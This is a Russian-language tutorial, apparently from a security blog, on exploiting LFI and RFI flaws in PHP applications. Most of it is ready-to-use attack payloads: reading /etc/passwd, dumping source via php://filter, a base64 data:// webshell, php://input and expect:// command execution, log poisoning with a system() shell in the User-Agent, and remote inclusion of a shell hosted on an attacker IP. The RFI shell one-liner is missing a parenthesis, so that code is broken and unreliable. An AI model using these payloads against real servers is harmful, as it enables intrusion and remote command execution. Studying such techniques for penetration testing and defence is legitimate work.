LFI и RFI
Sidney Job
Всем привет, на связи SidneyJob, в этой статье я хотел бы показать различные способы эксплуатации уязвимости LFI и RFI.
Поехали!
Давайте разберемся сначала, что это за уязвимости, почему появляются, и чем опасны эти уязвимости. Уязвимость LFI позволяет включать локальный код, замечу, что именно включать, а не просто читать. А RFI, соотвественно, позволяет включить удаленные файлы, что гораздо опаснее!
Примеры кода как писать не нужно:
PHP:
if (isset($_GET['language'])) {
include($_GET['language']);
}
Javascript:
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
Данный выше код никак не фильтрует пользовательские данные, что позволяет нам включить любой файл.
Никогда не доверяйте пользовательскому вводу, обязательно фильтруйте его!
Вот вам скриншот в памятку, чтобы знать, что нам позволяют делать разные функции)

Итак перейдем к практике!
LFI
Начнем с простого.
<?php
if (isset($_GET['language'])) {
include($_GET['language']);
}
?>
Отправим GET запрос с параметром language, в котором содержится абсолютный путь до любого файла, например /etc/passwd. На снимке ниже мы видим, что на наш экран вывелось содержимое файла /etc/passwd.

Но давайте попробуем поискать другие файлы и включить их. Для примера я создал еще 1 файл с расширением .php, в который я поместил следующее содержимое:
<?php echo "Resolute Attack is the best company!"; ?>

На скриншоте выше вы могли уже заметить, что нам не выдало исходный код, а лишь результат его работы, но иногда нам важно получить исходный код, а не результат отработки php скрипта, для этого мы можем использовать следующий прием.
php://filter/read=convert.base64-encode/resource=test.php

Теперь мы получили вывод исходного кода страницы в кодировке base64. Осталось дело за малым, раздекодить данную строчку и получить исходный код.
На скриншоте снизу, показано, что в base64 нам дан не результат отработки, а именно исходный код, который, возможно, поможет нам найти новые уязвимости.

Давайте рассмотрим пример чуть-чуть посложнее. Теперь к нашему параметру добавляется строчка ./languages/. В этом случае нам понадобится Path Traversal.
<?php
if (isset($_GET['language'])) {
include("./languages/" . $_GET['language']);
}
?>

Данная защита тоже довольно легко обходится. Поэтому не буду томить, и перейдем к следующему примеру!
Итак, на рассмотрении пример с следующей ситуацией. Из параметра GET берется язык, добавляется расширении .php и уже после этого включается.
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . ".php");
}
?>

Тут дела обстоят хуже, мы не можем включать другие файла, кроме файлов с расширение .php. Поэтому нас остается только читать конфиги и искать в них жестко закодированные данные. Или загрузить вебшел и исполнить его.
Думаю вы уже заждались.... Переходим к RCE!
Data
Итак, для начала нам нужно проверить настройки php. Они находятся по пути /etc/php/NUM.NUM/apache2/php.ini. Вресию php нужно будет перебрать самостоятельно. После того, как смогли получить этот файл в формате base64, раздекодим его и ищем сточку, показанную ниже.
allow_url_include = on
Далее делаем полезную нагрузку.
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

Ура! Мы можем исполнять команды на сервере. Теперь у нас есть первый способ получить RCE! Идем дальше!

Input
Рассмотрим немного другой способ эксплуатации этого параметра. В данном случае мы будем отправлять запросы через параметр POST:
php://input&cmd=id
Ура! Еще 1 способ получить RCE. Двигаемся дальше!

Expect
Если в конфике php.ini есть строчка extension=expect, то можете начинать радоваься.
?language=expect://id

Перед тем как мы приступим к RFI, мне хотелось бы рассказать вам довольно интересную тему)
Server Log Poisoning
Суть данной атаки в том, что мы сначала отравляем логи, а после уже включаем их с помощью LFI, тем самым исполняя команды на сервере.
Итак, для начала укажем в User-Agent что-нибудь безобидное, чтобы проверить, заражаются ли логи или нет.

Как мы можем заметить на скрине ниже, мы успешно заразили логи, и теперь в них есть надпись "Resolute Attack is the best company!"

Перейдем к применению этой техники для получения RCE. Заразим User-Agent следующим содержимым: "<?php system($_REQUEST['cmd']); ?>"

На скрине ниже показан вывод нашей команды. У нас есть веб-шел, теперь можем перейти к следующему этапу!

Итак, думаю, с LFI более менее разобрались, теперь давайте перейдем к RFI.
RFI
Если веб приложение уязвимо к RFI, то оно будет уязвимо и к LFI. НО! Если сайт уязвим к LFI, то не всегда он будет уязвим к RFI. Итак, приступим. Для эксплуатации уязвимости RFI, нам нужно, чтобы в конфиге php.ini была включена функция "allow_url_include = on".
Итак, настало время практики!
Для начала на нашем машине создадим файл shell.php и запустим HTTP сервер.
echo "<?php system($_GET['cmd']; ?>" > shell.php && python3 -m http.server 80
Попробуем включить наш файл и ... вуаля! Он успешно включился в нашем сайте и выдал ошибку, потому что мы запустили его без параметров. Попробуем еще раз. Только на этот раз уже укажем нужную нам команду.

Наша команда успешно выполнилась, теперь у нас есть RCE.
Примечание: /index.php?language=http://10.10.14.30/shell.php&cmd=id Вместо "?" знака перед cmd ставьте "&", иначе команда не исполнится!

С любовью, ваши SidneyJob и RESOLUTE ATTACK.